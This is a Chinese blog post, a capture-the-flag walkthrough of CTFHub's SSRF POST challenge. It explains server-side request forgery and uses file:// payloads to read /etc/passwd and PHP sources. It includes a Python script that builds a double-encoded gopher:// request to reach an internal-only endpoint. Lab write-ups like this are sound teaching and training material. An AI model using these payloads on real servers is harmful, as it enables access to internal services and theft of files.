IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFHub_Web_SSRF_POST -> 正文阅读

[PHP知识库]CTFHub_Web_SSRF_POST

CTFHub_Web_SSRF_POST

首先,简单来了解一下SSRF

  • SSRF(server-side request forgery,服务端请求伪造),是一种由攻击者构造形 成由服务器发起请求的一个漏洞。让服务器去请求通常请求不到的东西。
    一般用来在外网探测或攻击内网服务。

    SSRF漏洞形成的原因多事服务端提供了从外部服务获取数据的功能,但没有对目标地址、协议等重要参数进行过滤和限制,从而导致攻击者可以自由构造参数,而发起预期外的请求

  • 漏洞成因

在这里插入图片描述

  • 相关函数

    1. file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
    2. fsockopen():打开一个网络连接或者一个Unix 套接字连接
    3. curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
  • 相关协议

    1. file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容

      ssrf.php?url=file:///etc/passwd
      ssrf.php?url=file:///var/www/html/flag.php
      
    2. http/s协议:探测内网主机存活

    3. dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等

    4. gopher协议(攻击内网服务的万金油):gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

      URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流
      

      注意:

      • gopher的默认端口是70如果发起POST请求
      • 回车换行需要使用%0D%0A来代替%0A如果多个参数
      • 参数之间的&也需要进行URL编码

      使用方式:

      1. 构造HTTP GET/POST请求消息

      2. 对请求消息进行URL编码

      3. 将编码后的字符串中%0A替换为%0D%0A

      4. 将最终的字符串再进行一次URL编码

      5. 拼接协议头、请求地址

Post 请求

首先打开靶机
在这里插入图片描述

页面没有任何信息,查看源码,发现也是空白

通过GET传参直接拼接?url=127.0.0.1/flag.php,访问后页面回显出来一个输入框

在这里插入图片描述

查看源码

在这里插入图片描述

根据提示,将key的值复制到输入框

在这里插入图片描述

查看回显,得到提示:只允许从127.0.0.1访问

在这里插入图片描述

尝试通过file协议读取flag.php和index.php

构造?url=file:///var/www/html/flag.php

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

构造:?url=file:///var/www/html/index.php

<?php

error_reporting(0);

if (!isset($REQUEST['url'])){

header("Location: /?url=");

exit;

}


$ch = curl_init();   
//初始化一次curl对话,ch返回curl句柄
//curl_setopt为 cURL 会话句柄设置选项。

curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);   
//curlopt_url需要获取的 URL 地址

curl_setopt($ch, CURLOPT_HEADER, 0);   
//启用时会将头文件的信息作为数据流输出。

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);   
// 位掩码, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址。

curl_exec($ch);  
//执行

curl_close($ch);

一个比较好的思路:目前已知flag.php含有奇怪字符key,index.php能够接受url传参,并利用curl功能访问url传参的内容。那么我们可以利用gopher协议往index.php中传入一个POST请求包。请求包里是flag.php的key。

我们需要构造:/?url=127.0.0.1:80/index.php?url=(利用gopher协议传入post请求)

构造gopher协议需要的post请求:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=065a8ca0a616dc5981333d9f091a7fb2

注意:在使用 Gopher协议发送 POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在 GET请求中可以没有。

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。

所以我们需要对构造的请求包进行两次 URL编码

在第一次编码后的数据中,将%0A全部手动替换为%0D%0A。因为 Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

替换完成后,再对URL进行第二次编码

其实可以直接用脚本

import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=065a8ca0a616dc5981333d9f091a7fb2
"""  
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 因为是GET请求所以要进行两次url编码
  • urllib.request 发送http请求
  • urllib.error 处理请求过程中,出现的异常
  • urllib.parse 解析url
  • urllib.robotparser 解析robots.txt 文件

解析脚本得到:

在这里插入图片描述

构造?url=gopher%3A//127.0.0.1%3A80/_%250D%250A%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D065a8ca0a616dc5981333d9f091a7fb2%250D%250A%250D%250A%250D%250A

拿到flag

在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-09 10:01:53  更:2021-08-09 10:02:52 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/7 16:06:25-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码